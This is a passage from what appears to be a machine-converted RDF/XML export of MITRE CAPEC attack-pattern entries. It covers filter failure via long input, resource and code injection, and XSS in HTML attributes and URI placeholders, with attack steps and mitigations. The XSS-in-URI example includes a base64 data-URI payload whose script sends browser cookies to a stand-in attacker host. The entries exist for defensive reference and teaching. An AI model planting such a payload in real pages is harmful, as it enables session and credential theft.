feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern13124 + Related_Attack_Pattern_13124 + + + + + + + + + + + + + + 100 + + + + + + + + + + + + #indAttackStepAttackStep13127 + Attack_Step_13127 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey] The attacker surveys the target application, possibly as a valid and authenticated user</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Spidering web sites for inputs that involve potential filtering</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Brute force guessing of filtered inputs</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13134 + Attack_Step_13134 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt injections] Try to feed overly long data to the system. This can be done manually or a dynamic tool (black box) can be used to automate this. An attacker can also use a custom script for that purpose.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Brute force attack through black box penetration test tool.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Fuzzing of communications protocols</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manual testing of possible inputs with attack data.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13142 + Attack_Step_13142 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Monitor responses] Watch for any indication of failure occurring. Carefully watch to see what happened when filter failure occurred. Did the data get in?</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Boron tagging. Choose clear attack inputs that are easy to notice in output. In binary this is often 0xa5a5a5a5 (alternating 1s and 0s). Another obvious tag value is all zeroes, but it is not always obvious what goes wrong if the null values get into the data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Check Log files. An attacker with access to log files can look at the outcome of bad input.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13149 + Attack_Step_13149 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Abuse the system through filter failure] An attacker writes a script to consistently induce the filter failure.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">DoS through filter failure. The attacker causes the system to crash or stay down because of its failure to filter properly.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Malicious code execution. An attacker introduces a malicious payload and executes arbitrary code on the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker can use the filter failure to introduce malicious data into the system and leverage a subsequent SQL injection, Cross Site Scripting, Command Injection or similar weakness if it exists.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to control the length of data passed to an active filter.</xhtml:div> + + + + + + + + + + + + #indSkillSkill13162 + Skill_13162 + + + + + + + + + + + + + + An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS. + + + + + + + + + + + + #indSkillSkill13163 + Skill_13163 + + + + + + + + + + + + + + Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many exceptions are thrown by the application's filter modules in a short period of time. Check the logs. See if the probes are coming from the same IP address.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence13169 + Consequence_13169 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence13173 + Consequence_13173 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence13180 + Consequence_13180 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence13186 + Consequence_13186 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Make sure that ANY failure occurring in the filtering or input validation routine is properly handled and that offending input is NOT allowed to go through. Basically make sure that the vault is closed when failure occurs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Pre-design: Use a language or compiler that performs automatic bounds checking.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Pre-design through Build: Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Operational: Use OS-level preventative functionality. Not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use an abstraction library to abstract away risky APIs. Not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Sending in arguments that are too long to cause the filter to fail open is one instantiation of the filter failure attack. The Taylor UUCP daemon is designed to remove hostile arguments before they can be executed. If the arguments are too long, however, the daemon fails to remove them. This leaves the door open for attack.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A filter is used by a web application to filter out characters that may allow the input to jump from the data plane to the control plane when data is used in a SQL statement (chaining this attack with the SQL injection attack). Leveraging a buffer overflow the attacker makes the filter fail insecurely and the tainted data is permitted to enter unfiltered into the system, subsequently causing a SQL injection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Audit Truncation and Filters with Buffer Overflow. Sometimes very large transactions can be used to destroy a log file or cause partial logging failures. In this kind of attack, log processing code might be examining a transaction in real-time processing, but the oversized transaction causes a logic branch or an exception of some kind that is trapped. In other words, the transaction is still executed, but the logging or filtering mechanism still fails. This has two consequences, the first being that you can run transactions that are not logged in any way (or perhaps the log entry is completely corrupted). The second consequence is that you might slip through an active filter that otherwise would stop your attack.</xhtml:div> + + + + + 120 + + + + + 119 + + + + + 118 + + + + + 74 + + + + + 20 + + + + + 680 + + + + + 733 + + + + + 697 + + + + + + + + + + + + #indReferenceReference13216 + Reference_13216 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory13218 + Content_History_13218 + + + + + + + + + + + + + + + + #indSubmissionSubmission13219 + Submission_13219 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification13224 + Modification_13224 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification13230 + Modification_13230 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification13236 + Modification_13236 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-240 + Resource Injection + + + + + + + + + 240 + + + + + Resource Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits weaknesses in input validation by manipulating resource identifiers enabling the unintended modification or specification of a resource.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application allows the user to both specify the identifier used to access a system resource. Through this permission, the user gains the capability to perform actions on that resource (e.g., overwrite the file)</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence13252 + Consequence_13252 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence13256 + Consequence_13256 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure all input content that is delivered to client is sanitized against an acceptable content specification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform input validation for all content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Enforce regular patching of software.</xhtml:div> + + + + + 99 + + + + + + + + + + + + #indTaxonomyMappingResourceInjection + Resource Injection + + + + + + + + + + + + + + Resource Injection + + + + + + + + + + + + #indContentHistoryContentHistory13274 + Content_History_13274 + + + + + + + + + + + + + + + + #indSubmissionSubmission13275 + Submission_13275 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification13280 + Modification_13280 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Description, Description Summary + + + + + + + + + + + + #indModificationModification13286 + Modification_13286 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Related_Weaknesses, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification13292 + Modification_13292 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-241 + DEPRECATED: Code Injection + + + + + + + + + 241 + + + + + DEPRECATED: Code Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-242 : Code Injection". Please refer to this other CAPEC going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory13303 + Content_History_13303 + + + + + + + + + + + + + + + + #indSubmissionSubmission13304 + Submission_13304 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification13309 + Modification_13309 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification13315 + Modification_13315 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description, Description Summary + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName13321 + Previous_Entry_Name_13321 + + + + + + + + + 2017-05-01 + + + + + Code Injection + + + + + + + + + + + + #CAPEC-242 + Code Injection + + + + + + + + + 242 + + + + + Code Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target software does not validate user-controlled input such that the execution of a process may be altered by sending code in through legitimate data channels, using no other mechanism.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence13332 + Consequence_13332 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Code Injection attack patterns can result in a wide variety of consequences and negatively affect all three elements of the security triad.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize strict type, character, and encoding enforcement</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure all input content that is delivered to client is sanitized against an acceptable content specification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform input validation for all content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Enforce regular patching of software.</xhtml:div> + + + + + 94 + + + + + + + + + + + + #indTaxonomyMappingCodeInjection + Code Injection + + + + + + + + + + + + + + Code Injection + + + + + + + + + + + + #indReferenceReference13355 + Reference_13355 + + + + + + + + + REF-612 + + + + + Testing for Code Injection + + + + + + + + + + + + #indContentHistoryContentHistory13357 + Content_History_13357 + + + + + + + + + + + + + + + + #indSubmissionSubmission13358 + Submission_13358 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification13363 + Modification_13363 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Related_Weaknesses, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification13369 + Modification_13369 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification13375 + Modification_13375 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-243 + XSS Targeting HTML Attributes + + + + + + + + + 243 + + + + + XSS Targeting HTML Attributes + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary inserts commands to perform cross-site scripting (XSS) actions in HTML attributes. Many filters do not adequately sanitize attributes against the presence of potentially dangerous commands even if they adequately sanitize tags. For example, dangerous expressions could be inserted into a style attribute in an anchor tag, resulting in the execution of malicious code when the resulting page is rendered. If a victim is tricked into viewing the rendered page the attack proceeds like a normal XSS attack, possibly resulting in the loss of sensitive cookies or other malicious activities.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern13388 + Related_Attack_Pattern_13388 + + + + + + + + + + + + + + 591 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern13389 + Related_Attack_Pattern_13389 + + + + + + + + + + + + + + 592 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern13390 + Related_Attack_Pattern_13390 + + + + + + + + + + + + + + 588 + + + + + + + + + + + + #indAttackStepAttackStep13393 + Attack_Step_13393 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13401 + Attack_Step_13401 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe identified potential entry points for XSS targeting HTML attributes] The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various malicious expressions as input, hoping to embed them as HTML attributes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inject single and double quotes into URL parameters or other inputs to see if they are filtered out. Also use URL encoding to bypass filters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use single or double quotes to close attribute evaluation and enter a new attribute that contains an expression.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13408 + Attack_Step_13408 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious XSS URL] Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Execute a script using an expression embedded in an HTML attribute, which avoids needing to inject a script tag.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send information gathered from the malicious script to a remote endpoint.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13415 + Attack_Step_13415 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get victim to click URL] In order for the attack to be successful, the victim needs to access the malicious URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Put the malicious URL on a public forum, where many victims might accidentally click the link.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must fail to adequately sanitize HTML attributes against the presence of dangerous commands.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must trick the victim into following a crafted link to a vulnerable server or view a web post where the dangerous commands are executed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use libraries and templates that minimize unfiltered input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Normalize, filter and use an allowlist for all input including that which is not expected to have any scripting content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: The victim should configure the browser to minimize active content from untrusted sources.</xhtml:div> + + + + + 83 + + + + + + + + + + + + #indReferenceReference13438 + Reference_13438 + + + + + + + + + REF-94 + + + + + + + + + + + + #indContentHistoryContentHistory13440 + Content_History_13440 + + + + + + + + + + + + + + + + #indSubmissionSubmission13441 + Submission_13441 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification13446 + Modification_13446 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description Summary, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification13452 + Modification_13452 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification13458 + Modification_13458 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification13464 + Modification_13464 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Execution_Flow, Resources_Required + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName13470 + Previous_Entry_Name_13470 + + + + + + + + + 2017-05-01 + + + + + Cross-Site Scripting in Attributes + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName13471 + Previous_Entry_Name_13471 + + + + + + + + + 2018-07-31 + + + + + XSS Targetting HTML Attributes + + + + + + + + + + + + #CAPEC-244 + XSS Targeting URI Placeholders + + + + + + + + + 244 + + + + + XSS Targeting URI Placeholders + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attack of this type exploits the ability of most browsers to interpret "data", "javascript" or other URI schemes as client-side executable content placeholders. This attack consists of passing a malicious URI in an anchor tag HREF attribute or any other similar attributes in other HTML tags. Such malicious URI contains, for example, a base64 encoded HTML content with an embedded cross-site scripting payload. The attack is executed when the browser interprets the malicious content i.e., for example, when the victim clicks on the malicious link.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern13480 + Related_Attack_Pattern_13480 + + + + + + + + + + + + + + 591 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern13481 + Related_Attack_Pattern_13481 + + + + + + + + + + + + + + 592 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern13482 + Related_Attack_Pattern_13482 + + + + + + + + + + + + + + 588 + + + + + + + + + + + + #indAttackStepAttackStep13485 + Attack_Step_13485 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13493 + Attack_Step_13493 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe identified potential entry points for reflected XSS vulnerability] The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various payloads formatted as data URI schemes using base to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of XSS probe strings using different URI schemes to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier to trace the injected string back to the entry point.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results of manual input of XSS probes in known URLs.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13500 + Attack_Step_13500 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious XSS URL] Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Change a URL parameter to include a malicious payload formatted as a URI scheme, or use the URL returned when the URI scheme was given as input to the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send information gathered from the malicious script to a remote endpoint.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13507 + Attack_Step_13507 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get victim to click URL] In order for the attack to be successful, the victim needs to access the malicious URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Put the malicious URL on a public forum, where many victims might accidentally click the link.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target client software must allow scripting such as JavaScript and allows executable content delivered using a data URI scheme.</xhtml:div> + + + + + + + + + + + + #indSkillSkill13519 + Skill_13519 + + + + + + + + + + + + + + To inject the malicious payload in a web page + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to send HTTP request to a web application</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence13525 + Consequence_13525 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence13529 + Consequence_13529 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence13533 + Consequence_13533 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence13538 + Consequence_13538 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence13545 + Consequence_13545 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use browser technologies that do not allow client side scripting.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Utilize strict type, character, and encoding enforcement.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Ensure all content coming from the client is using the same encoding; if not, the server-side application must canonicalize the data before applying any filtering.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform input validation for all remote content, including remote and user-generated content</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform output validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Disable scripting languages such as JavaScript in browser</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The following payload data:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;text/html;base64,PGh0bWw+PGJvZHk+PHNjcmlwdD52YXIgaW1nID0gbmV3IEltYWdlKCk7IGltZy5zcmMgPSAiaHR0cDovL2F0dGFja2VyLmNvbS9jb29raWVncmFiYmVyPyIrIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5jb29raWVzKTs8L3NjcmlwdD48L2JvZHk+PC9odG1sPg==&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;represents a base64 encoded HTML and uses the data URI scheme to deliver it to the browser.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The decoded payload is the following piece of HTML code:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt;html&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;body&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;script&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;var img = new Image();&lt;xhtml:br&gt;&lt;/xhtml:br&gt;img.src = "http://attacker.com/cookiegrabber?"+ encodeURIComponent(document.cookies);&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;/script&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;/body&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;/html&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Web applications that take user controlled inputs and reflect them in URI HTML placeholder without a proper validation are at risk for such an attack.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary could inject the previous payload that would be placed in a URI placeholder (for example in the anchor tag HREF attribute):&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt;a href="INJECTION_POINT"&amp;gt;My Link&amp;lt;/a&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p 